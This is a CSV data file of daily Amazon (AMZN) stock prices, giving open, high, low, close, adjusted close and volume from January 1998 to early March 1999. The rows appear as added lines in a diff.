+1998-01-05,4.8854169845581055,4.9375,4.7083330154418945,4.75,4.75,3590400,AMZN
+1998-01-06,4.6979169845581055,4.875,4.6666669845581055,4.8385419845581055,4.8385419845581055,4174800,AMZN
+1998-01-07,4.8333330154418945,4.8333330154418945,4.6927080154418945,4.78125,4.78125,2725200,AMZN
+1998-01-08,4.6979169845581055,4.703125,4.53125,4.6145830154418945,4.6145830154418945,6015600,AMZN
+1998-01-09,4.6666669845581055,4.6666669845581055,4.2291669845581055,4.2604169845581055,4.2604169845581055,6643200,AMZN
+1998-01-12,4.1666669845581055,4.3854169845581055,4.1458330154418945,4.3020830154418945,4.3020830154418945,7401600,AMZN
+1998-01-13,4.34375,4.6666669845581055,4.3229169845581055,4.6458330154418945,4.6458330154418945,7321200,AMZN
+1998-01-14,4.65625,4.875,4.625,4.875,4.875,8505600,AMZN
+1998-01-15,4.7916669845581055,5.0104169845581055,4.7916669845581055,4.953125,4.953125,6014400,AMZN
+1998-01-16,4.9583330154418945,4.9791669845581055,4.7708330154418945,4.7916669845581055,4.7916669845581055,2563200,AMZN
+1998-01-20,4.8229169845581055,5.0104169845581055,4.8125,4.953125,4.953125,5467200,AMZN
+1998-01-21,4.9375,5.1666669845581055,4.875,5.0729169845581055,5.0729169845581055,8738400,AMZN
+1998-01-22,5.0729169845581055,5.2708330154418945,5.0208330154418945,5.1354169845581055,5.1354169845581055,9471600,AMZN
+1998-01-23,5.34375,5.34375,4.9375,4.9375,4.9375,9118800,AMZN
+1998-01-26,4.9791669845581055,4.9895830154418945,4.7395830154418945,4.8125,4.8125,4712400,AMZN
+1998-01-27,4.8177080154418945,4.8645830154418945,4.6666669845581055,4.75,4.75,4104000,AMZN
+1998-01-28,4.75,4.8333330154418945,4.625,4.7708330154418945,4.7708330154418945,5293200,AMZN
+1998-01-29,4.7916669845581055,4.9895830154418945,4.78125,4.9583330154418945,4.9583330154418945,4836000,AMZN
+1998-01-30,5.0,5.0625,4.8854169845581055,4.9166669845581055,4.9166669845581055,3722400,AMZN
+1998-02-02,4.9479169845581055,5.2083330154418945,4.9375,5.1979169845581055,5.1979169845581055,6913200,AMZN
+1998-02-03,5.1875,5.25,5.09375,5.1510419845581055,5.1510419845581055,4429200,AMZN
+1998-02-04,5.0625,5.1875,5.0520830154418945,5.0625,5.0625,1234800,AMZN
+1998-02-05,5.1145830154418945,5.1145830154418945,4.875,4.9375,4.9375,5832000,AMZN
+1998-02-06,4.9270830154418945,5.0208330154418945,4.875,4.90625,4.90625,2122800,AMZN
+1998-02-09,4.9166669845581055,4.9583330154418945,4.7708330154418945,4.8541669845581055,4.8541669845581055,2626800,AMZN
+1998-02-10,4.875,5.3177080154418945,4.8333330154418945,5.3020830154418945,5.3020830154418945,12296400,AMZN
+1998-02-11,5.2916669845581055,5.4635419845581055,5.28125,5.2916669845581055,5.2916669845581055,6474000,AMZN
+1998-02-12,5.2708330154418945,5.3020830154418945,5.1875,5.2604169845581055,5.2604169845581055,3036000,AMZN
+1998-02-13,5.25,5.2708330154418945,5.1458330154418945,5.1875,5.1875,8420400,AMZN
+1998-02-17,5.21875,5.21875,5.0729169845581055,5.1458330154418945,5.1458330154418945,2376000,AMZN
+1998-02-18,5.1458330154418945,5.1458330154418945,5.0520830154418945,5.0729169845581055,5.0729169845581055,2971200,AMZN
+1998-02-19,5.109375,5.2916669845581055,5.0833330154418945,5.2291669845581055,5.2291669845581055,4436400,AMZN
+1998-02-20,5.2291669845581055,5.2916669845581055,5.1145830154418945,5.2708330154418945,5.2708330154418945,2703600,AMZN
+1998-02-23,5.2916669845581055,5.4166669845581055,5.2083330154418945,5.40625,5.40625,3978000,AMZN
+1998-02-24,5.4166669845581055,5.6770830154418945,5.3541669845581055,5.40625,5.40625,13945200,AMZN
+1998-02-25,5.46875,5.5416669845581055,5.2604169845581055,5.4895830154418945,5.4895830154418945,6745200,AMZN
+1998-02-26,5.4635419845581055,6.0833330154418945,5.4375,6.0625,6.0625,15373200,AMZN
+1998-02-27,6.0208330154418945,6.6354169845581055,5.984375,6.4166669845581055,6.4166669845581055,24706800,AMZN
+1998-03-02,6.3229169845581055,6.4375,6.25,6.3541669845581055,6.3541669845581055,10957200,AMZN
+1998-03-03,6.2916669845581055,6.3125,5.9583330154418945,5.9791669845581055,5.9791669845581055,8016000,AMZN
+1998-03-04,6.0,6.1875,5.8333330154418945,6.1197919845581055,6.1197919845581055,7314000,AMZN
+1998-03-05,5.9791669845581055,6.515625,5.9375,6.25,6.25,12001200,AMZN
+1998-03-06,6.3020830154418945,6.4166669845581055,6.1458330154418945,6.3958330154418945,6.3958330154418945,5887200,AMZN
+1998-03-09,6.40625,7.1458330154418945,6.3958330154418945,6.9583330154418945,6.9583330154418945,23055600,AMZN
+1998-03-10,7.125,7.3541669845581055,6.90625,6.925780773162842,6.925780773162842,24750000,AMZN
+1998-03-11,6.8333330154418945,6.875,6.5208330154418945,6.6354169845581055,6.6354169845581055,12349200,AMZN
+1998-03-12,6.5625,6.7604169845581055,6.4270830154418945,6.5416669845581055,6.5416669845581055,9799200,AMZN
+1998-03-13,6.6354169845581055,6.7395830154418945,6.4791669845581055,6.5572919845581055,6.5572919845581055,6523200,AMZN
+1998-03-16,6.6302080154418945,6.7291669845581055,6.5833330154418945,6.5833330154418945,6.5833330154418945,3312000,AMZN
+1998-03-17,6.6458330154418945,6.6875,6.4895830154418945,6.65625,6.65625,3100800,AMZN
+1998-03-18,6.6041669845581055,7.1458330154418945,6.6041669845581055,7.109375,7.109375,13659600,AMZN
+1998-03-19,7.1145830154418945,7.2916669845581055,6.9791669845581055,7.0,7.0,12115200,AMZN
+1998-03-20,7.0,7.0729169845581055,6.9270830154418945,7.0,7.0,6412800,AMZN
+1998-03-23,6.9635419845581055,7.0625,6.8958330154418945,6.984375,6.984375,3004800,AMZN
+1998-03-24,6.875,7.2291669845581055,6.875,7.0208330154418945,7.0208330154418945,5680800,AMZN
+1998-03-25,7.0833330154418945,7.1458330154418945,6.75,6.8072919845581055,6.8072919845581055,11289600,AMZN
+1998-03-26,6.8125,6.9791669845581055,6.625,6.8958330154418945,6.8958330154418945,7878000,AMZN
+1998-03-27,7.0208330154418945,7.2604169845581055,6.8958330154418945,7.0833330154418945,7.0833330154418945,7646400,AMZN
+1998-03-30,7.15625,7.2916669845581055,7.09375,7.15625,7.15625,5500800,AMZN
+1998-03-31,7.1145830154418945,7.2083330154418945,6.9791669845581055,7.127604007720947,7.127604007720947,6565200,AMZN
+1998-04-01,7.1041669845581055,7.53125,7.002604007720947,7.5104169845581055,7.5104169845581055,14451600,AMZN
+1998-04-02,7.59375,8.0625,7.4791669845581055,7.921875,7.921875,16642800,AMZN
+1998-04-03,8.020833015441895,8.03125,7.6875,7.75,7.75,11694000,AMZN
+1998-04-06,7.8541669845581055,7.8958330154418945,7.3541669845581055,7.3854169845581055,7.3854169845581055,11024400,AMZN
+1998-04-07,7.25,7.2708330154418945,7.0625,7.1666669845581055,7.1666669845581055,11634000,AMZN
+1998-04-08,7.1979169845581055,7.4791669845581055,7.125,7.3854169845581055,7.3854169845581055,11314800,AMZN
+1998-04-09,7.6979169845581055,8.0,7.6354169845581055,7.9375,7.9375,16034400,AMZN
+1998-04-13,7.90625,8.020833015441895,7.6666669845581055,7.859375,7.859375,10980000,AMZN
+1998-04-14,7.8229169845581055,8.322916984558105,7.7708330154418945,8.098958015441895,8.098958015441895,16323600,AMZN
+1998-04-15,8.166666984558105,8.333333015441895,7.875,8.010416984558105,8.010416984558105,11192400,AMZN
+1998-04-16,8.010416984558105,8.276041984558105,7.765625,8.208333015441895,8.208333015441895,16244400,AMZN
+1998-04-17,7.984375,8.104166984558105,7.875,7.90625,7.90625,7035600,AMZN
+1998-04-20,7.9479169845581055,8.291666984558105,7.8125,7.8541669845581055,7.8541669845581055,8979600,AMZN
+1998-04-21,7.9375,7.9479169845581055,7.59375,7.7552080154418945,7.7552080154418945,8354400,AMZN
+1998-04-22,7.7708330154418945,7.8020830154418945,7.25,7.2708330154418945,7.2708330154418945,11301600,AMZN
+1998-04-23,7.25,7.25,6.7083330154418945,6.75,6.75,12253200,AMZN
+1998-04-24,6.8333330154418945,7.3125,6.7916669845581055,7.0729169845581055,7.0729169845581055,16785600,AMZN
+1998-04-27,6.9479169845581055,7.0520830154418945,6.4270830154418945,6.8958330154418945,6.8958330154418945,18885600,AMZN
+1998-04-28,7.7395830154418945,8.291666984558105,7.421875,7.96875,7.96875,69594000,AMZN
+1998-04-29,8.104166984558105,8.21875,7.8020830154418945,7.9583330154418945,7.9583330154418945,31657200,AMZN
+1998-04-30,8.125,8.166666984558105,7.5416669845581055,7.6458330154418945,7.6458330154418945,22485600,AMZN
+1998-05-01,7.7291669845581055,7.9270830154418945,7.5416669845581055,7.875,7.875,9307200,AMZN
+1998-05-04,7.9166669845581055,7.9895830154418945,7.78125,7.9375,7.9375,7735200,AMZN
+1998-05-05,7.8333330154418945,7.9583330154418945,7.7604169845581055,7.809895992279053,7.809895992279053,5998800,AMZN
+1998-05-06,7.8333330154418945,7.8333330154418945,7.5104169845581055,7.53125,7.53125,7438800,AMZN
+1998-05-07,7.5833330154418945,7.75,7.3541669845581055,7.5833330154418945,7.5833330154418945,13887600,AMZN
+1998-05-08,7.6041669845581055,7.7291669845581055,7.4583330154418945,7.6979169845581055,7.6979169845581055,4792800,AMZN
+1998-05-11,7.7447919845581055,7.75,7.2083330154418945,7.2395830154418945,7.2395830154418945,11372400,AMZN
+1998-05-12,7.3125,7.6614580154418945,7.21875,7.6145830154418945,7.6145830154418945,11636400,AMZN
+1998-05-13,7.5416669845581055,7.8333330154418945,7.4791669845581055,7.7395830154418945,7.7395830154418945,13944000,AMZN
+1998-05-14,7.6666669845581055,7.8854169845581055,7.5833330154418945,7.6302080154418945,7.6302080154418945,8600400,AMZN
+1998-05-15,7.65625,7.7083330154418945,7.4583330154418945,7.46875,7.46875,4628400,AMZN
+1998-05-18,7.5,7.5520830154418945,7.2291669845581055,7.3385419845581055,7.3385419845581055,6618000,AMZN
+1998-05-19,7.46875,7.5520830154418945,7.4375,7.53125,7.53125,3423600,AMZN
+1998-05-20,7.53125,7.625,7.3541669845581055,7.3854169845581055,7.3854169845581055,4048800,AMZN
+1998-05-21,7.4583330154418945,7.5,7.2760419845581055,7.3958330154418945,7.3958330154418945,3403200,AMZN
+1998-05-22,7.3645830154418945,7.3854169845581055,7.125,7.1666669845581055,7.1666669845581055,5862000,AMZN
+1998-05-26,7.171875,7.2395830154418945,6.7395830154418945,6.8229169845581055,6.8229169845581055,10884000,AMZN
+1998-05-27,6.6979169845581055,7.28125,6.6458330154418945,7.21875,7.21875,23234400,AMZN
+1998-05-28,7.2708330154418945,7.3125,7.1041669845581055,7.1614580154418945,7.1614580154418945,9412800,AMZN
+1998-05-29,7.15625,7.4166669845581055,7.125,7.34375,7.34375,8641200,AMZN
+1998-06-01,7.3333330154418945,7.375,6.9427080154418945,7.1354169845581055,7.1354169845581055,8043600,AMZN
+1998-06-02,7.2708330154418945,7.4166669845581055,6.9166669845581055,7.28125,7.28125,8201400,AMZN
+1998-06-03,7.4791669845581055,7.5416669845581055,7.0,7.0416669845581055,7.0416669845581055,6581400,AMZN
+1998-06-04,7.15625,7.3229169845581055,6.875,7.3125,7.3125,4995600,AMZN
+1998-06-05,7.2916669845581055,7.3958330154418945,7.1875,7.375,7.375,3427200,AMZN
+1998-06-08,7.3020830154418945,7.71875,7.25,7.7083330154418945,7.7083330154418945,5463000,AMZN
+1998-06-09,7.7395830154418945,8.645833015441895,7.7083330154418945,8.541666984558105,8.541666984558105,19436400,AMZN
+1998-06-10,8.604166984558105,9.375,8.5,9.020833015441895,9.020833015441895,24285000,AMZN
+1998-06-11,9.208333015441895,10.4375,9.166666984558105,10.416666984558105,10.416666984558105,35851200,AMZN
+1998-06-12,10.583333015441895,10.583333015441895,9.708333015441895,10.166666984558105,10.166666984558105,21655800,AMZN
+1998-06-15,9.916666984558105,11.416666984558105,9.854166984558105,10.958333015441895,10.958333015441895,33701400,AMZN
+1998-06-16,11.125,12.291666984558105,11.083333015441895,12.270833015441895,12.270833015441895,39167400,AMZN
+1998-06-17,12.645833015441895,13.53125,12.5625,13.166666984558105,13.166666984558105,40265400,AMZN
+1998-06-18,13.5,13.75,11.958333015441895,12.020833015441895,12.020833015441895,31639800,AMZN
+1998-06-19,11.84375,12.708333015441895,11.333333015441895,12.635416984558105,12.635416984558105,36678600,AMZN
+1998-06-22,12.458333015441895,13.729166984558105,12.041666984558105,13.5625,13.5625,36318000,AMZN
+1998-06-23,13.510416984558105,15.458333015441895,13.416666984558105,15.447916984558105,15.447916984558105,37463400,AMZN
+1998-06-24,15.833333015441895,16.791667938232422,14.854166984558105,16.635417938232422,16.635417938232422,58704600,AMZN
+1998-06-25,16.666667938232422,17.458332061767578,16.0,16.510417938232422,16.510417938232422,54465000,AMZN
+1998-06-26,16.25,16.708332061767578,15.625,15.708333015441895,15.708333015441895,31149600,AMZN
+1998-06-29,15.791666984558105,16.604167938232422,15.791666984558105,16.458332061767578,16.458332061767578,24507600,AMZN
+1998-06-30,16.302082061767578,16.916667938232422,16.125,16.625,16.625,21877200,AMZN
+1998-07-01,16.96875,19.083332061767578,16.791667938232422,19.020832061767578,19.020832061767578,28254600,AMZN
+1998-07-02,19.291667938232422,20.916667938232422,18.75,20.666667938232422,20.666667938232422,52279800,AMZN
+1998-07-06,21.229167938232422,23.458332061767578,20.916667938232422,23.25,23.25,46883400,AMZN
+1998-07-07,23.833332061767578,23.958332061767578,20.166667938232422,20.354167938232422,20.354167938232422,47251800,AMZN
+1998-07-08,18.645832061767578,19.833332061767578,17.0625,17.854167938232422,17.854167938232422,58311600,AMZN
+1998-07-09,18.4375,19.416667938232422,17.5,17.583332061767578,17.583332061767578,29493000,AMZN
+1998-07-10,17.166667938232422,17.645832061767578,16.354167938232422,16.583332061767578,16.583332061767578,24982200,AMZN
+1998-07-13,16.083332061767578,18.0,15.708333015441895,17.9375,17.9375,19248000,AMZN
+1998-07-14,18.083332061767578,19.291667938232422,17.833332061767578,19.166667938232422,19.166667938232422,25358400,AMZN
+1998-07-15,19.333332061767578,19.5625,18.291667938232422,18.75,18.75,17610000,AMZN
+1998-07-16,18.90625,19.166667938232422,18.083332061767578,18.895832061767578,18.895832061767578,13999200,AMZN
+1998-07-17,18.729167938232422,20.083332061767578,18.645832061767578,19.96875,19.96875,17826000,AMZN
+1998-07-20,20.1875,23.354167938232422,19.958332061767578,22.916667938232422,22.916667938232422,35925000,AMZN
+1998-07-21,22.875,24.5,21.333332061767578,22.010417938232422,22.010417938232422,47328000,AMZN
+1998-07-22,22.333332061767578,23.3125,21.75,22.333332061767578,22.333332061767578,27974400,AMZN
+1998-07-23,21.666667938232422,23.083332061767578,21.166667938232422,21.270832061767578,21.270832061767578,27810600,AMZN
+1998-07-24,21.541667938232422,21.916667938232422,19.5,20.708332061767578,20.708332061767578,28974000,AMZN
+1998-07-27,19.854167938232422,21.229167938232422,19.270832061767578,20.927082061767578,20.927082061767578,28830600,AMZN
+1998-07-28,20.739582061767578,21.0,19.666667938232422,19.822917938232422,19.822917938232422,20746800,AMZN
+1998-07-29,20.083332061767578,20.25,17.916667938232422,17.96875,17.96875,19644600,AMZN
+1998-07-30,18.625,19.166667938232422,17.583332061767578,18.958332061767578,18.958332061767578,31774200,AMZN
+1998-07-31,19.083332061767578,19.1875,18.1875,18.479167938232422,18.479167938232422,13440600,AMZN
+1998-08-03,18.291667938232422,18.583332061767578,17.875,18.041667938232422,18.041667938232422,12913200,AMZN
+1998-08-04,18.354167938232422,19.020832061767578,18.020832061767578,18.3125,18.3125,28065000,AMZN
+1998-08-05,18.802082061767578,18.854167938232422,16.666667938232422,17.697917938232422,17.697917938232422,23060400,AMZN
+1998-08-06,17.395832061767578,18.75,17.177082061767578,18.25,18.25,18603600,AMZN
+1998-08-07,18.541667938232422,19.8125,18.229167938232422,19.333332061767578,19.333332061767578,23433000,AMZN
+1998-08-10,19.5,20.3125,19.166667938232422,20.270832061767578,20.270832061767578,18516000,AMZN
+1998-08-11,19.25,21.145832061767578,19.208332061767578,20.666667938232422,20.666667938232422,28158600,AMZN
+1998-08-12,21.125,21.916667938232422,20.677082061767578,21.729167938232422,21.729167938232422,20140800,AMZN
+1998-08-13,21.770832061767578,22.5,21.166667938232422,21.25,21.25,24629400,AMZN
+1998-08-14,21.78125,21.791667938232422,20.041667938232422,20.458332061767578,20.458332061767578,19410000,AMZN
+1998-08-17,20.125,20.53125,19.75,19.947917938232422,19.947917938232422,14617800,AMZN
+1998-08-18,20.197917938232422,21.520832061767578,19.854167938232422,21.447917938232422,21.447917938232422,18000600,AMZN
+1998-08-19,21.875,22.291667938232422,21.166667938232422,21.458332061767578,21.458332061767578,19281600,AMZN
+1998-08-20,21.041667938232422,21.625,20.916667938232422,21.520832061767578,21.520832061767578,15886200,AMZN
+1998-08-21,21.208332061767578,21.713542938232422,20.541667938232422,21.614582061767578,21.614582061767578,15136200,AMZN
+1998-08-24,21.708332061767578,22.5,21.6875,22.458332061767578,22.458332061767578,13949400,AMZN
+1998-08-25,22.90625,22.916667938232422,21.791667938232422,21.9375,21.9375,14351400,AMZN
+1998-08-26,21.625,21.708332061767578,21.135417938232422,21.208332061767578,21.208332061767578,16390800,AMZN
+1998-08-27,20.729167938232422,20.833332061767578,19.833332061767578,19.833332061767578,19.833332061767578,16027200,AMZN
+1998-08-28,19.958332061767578,20.145832061767578,17.208332061767578,17.6484375,17.6484375,39036000,AMZN
+1998-08-31,17.572917938232422,17.9375,13.854166984558105,13.958333015441895,13.958333015441895,41000400,AMZN
+1998-09-01,12.6875,14.4375,10.833333015441895,13.325521469116211,13.325521469116211,67450800,AMZN
+1998-09-02,13.854166984558105,16.0,13.666666984558105,14.645833015441895,14.645833015441895,47328600,AMZN
+1998-09-03,13.9375,15.041666984558105,13.458333015441895,14.3125,14.3125,25471200,AMZN
+1998-09-04,14.447916984558105,15.0,13.666666984558105,14.375,14.375,17812200,AMZN
+1998-09-08,15.666666984558105,15.791666984558105,15.0,15.375,15.375,21936600,AMZN
+1998-09-09,14.916666984558105,15.395833015441895,13.895833015441895,14.083333015441895,14.083333015441895,17896200,AMZN
+1998-09-10,13.229166984558105,13.416666984558105,12.541666984558105,13.270833015441895,13.270833015441895,31969800,AMZN
+1998-09-11,13.0625,13.479166984558105,12.25,12.677083015441895,12.677083015441895,23612400,AMZN
+1998-09-14,13.395833015441895,13.416666984558105,12.25,12.28125,12.28125,15060000,AMZN
+1998-09-15,11.802083015441895,12.458333015441895,11.729166984558105,12.166666984558105,12.166666984558105,17228400,AMZN
+1998-09-16,12.375,14.322916984558105,11.916666984558105,14.083333015441895,14.083333015441895,39118800,AMZN
+1998-09-17,13.40625,13.916666984558105,12.75,12.833333015441895,12.833333015441895,42457800,AMZN
+1998-09-18,12.958333015441895,13.53125,12.947916984558105,13.28125,13.28125,16742400,AMZN
+1998-09-21,12.666666984558105,14.479166984558105,12.666666984558105,14.25,14.25,23767200,AMZN
+1998-09-22,14.708333015441895,15.25,14.604166984558105,14.697916984558105,14.697916984558105,30305400,AMZN
+1998-09-23,15.135416984558105,17.583332061767578,15.0,17.520832061767578,17.520832061767578,45583800,AMZN
+1998-09-24,17.854167938232422,19.479167938232422,16.916667938232422,17.020832061767578,17.020832061767578,51124200,AMZN
+1998-09-25,16.416667938232422,18.4375,16.416667938232422,18.208332061767578,18.208332061767578,36598800,AMZN
+1998-09-28,19.395832061767578,20.0,18.645832061767578,19.270832061767578,19.270832061767578,38604600,AMZN
+1998-09-29,19.541667938232422,19.927082061767578,18.583332061767578,18.854167938232422,18.854167938232422,38335800,AMZN
+1998-09-30,18.583332061767578,19.25,18.135417938232422,18.604167938232422,18.604167938232422,29430600,AMZN
+1998-10-01,18.0,18.5,16.666667938232422,17.104167938232422,17.104167938232422,34392000,AMZN
+1998-10-02,17.552082061767578,18.645832061767578,16.833332061767578,18.375,18.375,34495800,AMZN
+1998-10-05,18.145832061767578,18.5,16.833332061767578,17.45052146911621,17.45052146911621,24496200,AMZN
+1998-10-06,18.583332061767578,18.708332061767578,17.333332061767578,18.052082061767578,18.052082061767578,28171800,AMZN
+1998-10-07,17.104167938232422,17.458332061767578,15.208333015441895,15.572916984558105,15.572916984558105,42834000,AMZN
+1998-10-08,13.8125,14.666666984558105,13.333333015441895,14.364583015441895,14.364583015441895,30384600,AMZN
+1998-10-09,15.041666984558105,15.3125,13.958333015441895,15.197916984558105,15.197916984558105,20727000,AMZN
+1998-10-12,16.1875,16.833332061767578,15.5,15.53125,15.53125,21817200,AMZN
+1998-10-13,15.302083015441895,15.895833015441895,15.104166984558105,15.229166984558105,15.229166984558105,10685400,AMZN
+1998-10-14,15.177083015441895,16.270832061767578,14.958333015441895,15.583333015441895,15.583333015441895,15590400,AMZN
+1998-10-15,15.708333015441895,16.3125,15.416666984558105,16.177082061767578,16.177082061767578,16971000,AMZN
+1998-10-16,16.4375,16.989582061767578,16.166667938232422,16.572917938232422,16.572917938232422,21405000,AMZN
+1998-10-19,16.5,17.8125,16.5,17.625,17.625,16681200,AMZN
+1998-10-20,18.125,18.75,17.770832061767578,17.791667938232422,17.791667938232422,19167600,AMZN
+1998-10-21,18.239582061767578,18.375,17.604167938232422,18.333332061767578,18.333332061767578,12618000,AMZN
+1998-10-22,17.9375,19.645832061767578,17.895832061767578,19.114582061767578,19.114582061767578,26695200,AMZN
+1998-10-23,19.083332061767578,19.71875,19.020832061767578,19.354167938232422,19.354167938232422,13624800,AMZN
+1998-10-26,19.854167938232422,20.3125,19.458332061767578,20.239582061767578,20.239582061767578,19516800,AMZN
+1998-10-27,20.6875,21.0,19.34375,19.385417938232422,19.385417938232422,20164200,AMZN
+1998-10-28,19.489582061767578,19.916667938232422,19.041667938232422,19.510417938232422,19.510417938232422,19891800,AMZN
+1998-10-29,20.21875,21.208332061767578,19.833332061767578,21.083332061767578,21.083332061767578,32932200,AMZN
+1998-10-30,21.104167938232422,21.635417938232422,20.770832061767578,21.072917938232422,21.072917938232422,21182400,AMZN
+1998-11-02,21.354167938232422,21.90625,20.75,21.833332061767578,21.833332061767578,31494000,AMZN
+1998-11-03,21.854167938232422,22.177082061767578,20.958332061767578,21.010417938232422,21.010417938232422,18388200,AMZN
+1998-11-04,21.895832061767578,22.0,21.104167938232422,21.635417938232422,21.635417938232422,20383200,AMZN
+1998-11-05,21.28125,21.6875,21.041667938232422,21.416667938232422,21.416667938232422,14732400,AMZN
+1998-11-06,21.0,21.375,20.666667938232422,20.760417938232422,20.760417938232422,18894000,AMZN
+1998-11-09,20.3125,21.239582061767578,20.125,21.145832061767578,21.145832061767578,21843600,AMZN
+1998-11-10,21.375,23.333332061767578,21.354167938232422,21.958332061767578,21.958332061767578,34375800,AMZN
+1998-11-11,22.270832061767578,22.375,20.875,21.104167938232422,21.104167938232422,16463400,AMZN
+1998-11-12,20.916667938232422,22.145832061767578,20.833332061767578,21.833332061767578,21.833332061767578,11974800,AMZN
+1998-11-13,21.989582061767578,22.25,20.953125,21.291667938232422,21.291667938232422,8940600,AMZN
+1998-11-16,21.416667938232422,21.645832061767578,20.583332061767578,21.041667938232422,21.041667938232422,11897400,AMZN
+1998-11-17,21.5625,25.708332061767578,21.416667938232422,24.75,24.75,61141800,AMZN
+1998-11-18,25.270832061767578,28.4375,25.25,27.333332061767578,27.333332061767578,59133600,AMZN
+1998-11-19,28.5,29.25,25.5,25.541667938232422,25.541667938232422,38895600,AMZN
+1998-11-20,29.166667938232422,30.291667938232422,27.5,30.104167938232422,30.104167938232422,66912600,AMZN
+1998-11-23,31.8125,36.41666793823242,31.010417938232422,36.33333206176758,36.33333206176758,67781400,AMZN
+1998-11-24,37.33333206176758,38.85416793823242,34.16666793823242,35.75,35.75,81675600,AMZN
+1998-11-25,36.08333206176758,37.25,34.16666793823242,35.05208206176758,35.05208206176758,27522600,AMZN
+1998-11-27,36.20833206176758,36.33333206176758,35.5,36.10416793823242,36.10416793823242,9586800,AMZN
+1998-11-30,36.60416793823242,36.70833206176758,31.958332061767578,32.0,32.0,29752200,AMZN
+1998-12-01,30.916667938232422,34.95833206176758,30.333332061767578,34.91666793823242,34.91666793823242,47154600,AMZN
+1998-12-02,34.48958206176758,34.58333206176758,32.92708206176758,33.25,33.25,29649000,AMZN
+1998-12-03,33.1875,34.08333206176758,30.833332061767578,31.583332061767578,31.583332061767578,21836400,AMZN
+1998-12-04,32.58333206176758,32.83333206176758,30.416667938232422,31.416667938232422,31.416667938232422,22257600,AMZN
+1998-12-07,32.16666793823242,32.33333206176758,30.854167938232422,31.833332061767578,31.833332061767578,15774000,AMZN
+1998-12-08,31.604167938232422,34.3125,31.416667938232422,34.01041793823242,34.01041793823242,25549800,AMZN
+1998-12-09,34.22916793823242,37.38541793823242,33.66666793823242,36.04166793823242,36.04166793823242,46506600,AMZN
+1998-12-10,36.27083206176758,37.33333206176758,34.9375,35.52083206176758,35.52083206176758,30361800,AMZN
+1998-12-11,35.01041793823242,37.33333206176758,35.0,37.16666793823242,37.16666793823242,25467600,AMZN
+1998-12-14,36.85416793823242,38.33333206176758,36.33333206176758,37.04166793823242,37.04166793823242,38751000,AMZN
+1998-12-15,37.83333206176758,40.5,37.58333206176758,40.45833206176758,40.45833206176758,38015400,AMZN
+1998-12-16,43.1875,50.29166793823242,43.16666793823242,48.16666793823242,48.16666793823242,101797200,AMZN
+1998-12-17,44.0,48.58333206176758,43.42708206176758,46.125,46.125,67635000,AMZN
+1998-12-18,47.16666793823242,48.16666793823242,46.3125,47.78125,47.78125,22951800,AMZN
+1998-12-21,50.58333206176758,53.625,50.0,53.125,53.125,33384000,AMZN
+1998-12-22,54.48958206176758,54.83333206176758,51.4375,53.72916793823242,53.72916793823242,31760400,AMZN
+1998-12-23,54.66666793823242,55.0,53.1875,54.16666793823242,54.16666793823242,14563800,AMZN
+1998-12-24,53.70833206176758,54.5,53.16666793823242,54.13541793823242,54.13541793823242,5413800,AMZN
+1998-12-28,55.16666793823242,60.3125,54.16666793823242,58.65625,58.65625,29898600,AMZN
+1998-12-29,58.33333206176758,58.35416793823242,54.75,55.38541793823242,55.38541793823242,24607800,AMZN
+1998-12-30,55.5,57.20833206176758,50.64583206176758,53.54166793823242,53.54166793823242,32583600,AMZN
+1998-12-31,52.875,55.16666793823242,52.6875,53.54166793823242,53.54166793823242,18298200,AMZN
+1999-01-04,54.61458206176758,59.33333206176758,53.3125,59.15625,59.15625,39292200,AMZN
+1999-01-05,54.78125,64.875,53.25,62.25,62.25,62873200,AMZN
+1999-01-06,68.1875,70.1875,67.0,69.0,69.0,36176600,AMZN
+1999-01-07,68.5625,80.125,66.5,79.4375,79.4375,47274600,AMZN
+1999-01-08,92.125,99.5625,76.0,80.125,80.125,66662200,AMZN
+1999-01-11,92.0,92.5,83.8125,92.3125,92.3125,38923000,AMZN
+1999-01-12,90.25,91.0,79.5,81.6875,81.6875,24443200,AMZN
+1999-01-13,62.5,81.75,62.5,74.0,74.0,29876400,AMZN
+1999-01-14,75.0,79.625,68.0,69.0,69.0,20912400,AMZN
+1999-01-15,70.0,75.03125,68.8125,70.1875,70.1875,20132600,AMZN
+1999-01-19,75.25,75.25,68.125,69.90625,69.90625,11405400,AMZN
+1999-01-20,67.53125,68.5,54.875,56.5,56.5,30535200,AMZN
+1999-01-21,52.25,55.1875,46.28125,53.0,53.0,47048200,AMZN
+1999-01-22,49.75,62.9375,49.375,61.5,61.5,43765800,AMZN
+1999-01-25,60.75,61.6875,55.0,56.1875,56.1875,27323800,AMZN
+1999-01-26,56.3125,60.625,55.3125,57.546875,57.546875,24534800,AMZN
+1999-01-27,67.0625,69.875,60.0,62.8125,62.8125,35022600,AMZN
+1999-01-28,63.21875,64.375,60.125,61.4375,61.4375,23750600,AMZN
+1999-01-29,60.8125,60.8125,57.5,58.46875,58.46875,16396000,AMZN
+1999-02-01,58.875,61.15625,57.5,57.9375,57.9375,12781000,AMZN
+1999-02-02,58.1875,58.21875,54.25,55.125,55.125,13048600,AMZN
+1999-02-03,54.5,63.0,54.25,62.875,62.875,18791000,AMZN
+1999-02-04,62.625,63.375,58.125,59.0,59.0,11649600,AMZN
+1999-02-05,58.5,61.4375,56.15625,57.9375,57.9375,8566000,AMZN
+1999-02-08,57.1875,57.5625,52.875,54.5625,54.5625,12598200,AMZN
+1999-02-09,53.96875,54.0,49.96875,50.0,50.0,12826000,AMZN
+1999-02-10,49.125,51.6875,47.5,48.71875,48.71875,13205000,AMZN
+1999-02-11,50.25,55.09375,49.75,54.9375,54.9375,13793000,AMZN
+1999-02-12,54.0,54.9375,51.8125,52.25,52.25,7765400,AMZN
+1999-02-16,53.4375,54.25,48.5,49.3125,49.3125,7779800,AMZN
+1999-02-17,49.21875,51.03125,46.25,46.75,46.75,9668600,AMZN
+1999-02-18,48.25,48.25,42.125,44.75,44.75,21562600,AMZN
+1999-02-19,47.1875,51.25,45.5,50.9375,50.9375,26918200,AMZN
+1999-02-22,50.875,54.8125,49.0,53.25,53.25,19212200,AMZN
+1999-02-23,55.0625,58.5,54.75,57.59375,57.59375,21139200,AMZN
+1999-02-24,58.8125,61.09375,55.125,55.46875,55.46875,24786400,AMZN
+1999-02-25,58.3125,62.8125,57.3125,62.5,62.5,36689800,AMZN
+1999-02-26,63.375,65.0,60.5,64.0625,64.0625,25365400,AMZN
+1999-03-01,63.5,68.03125,62.0,66.5,66.5,19369000,AMZN
+1999-03-02,67.21875,67.875,60.53125,60.65625,60.65625,16603200,AMZN
+1999-03-03,61.875,63.75,60.125,61.75,61.75,15528800,AMZN
+1999-03-04,62.75,63.5,57.9375,60.0625,60.0625,17887400,AMZN
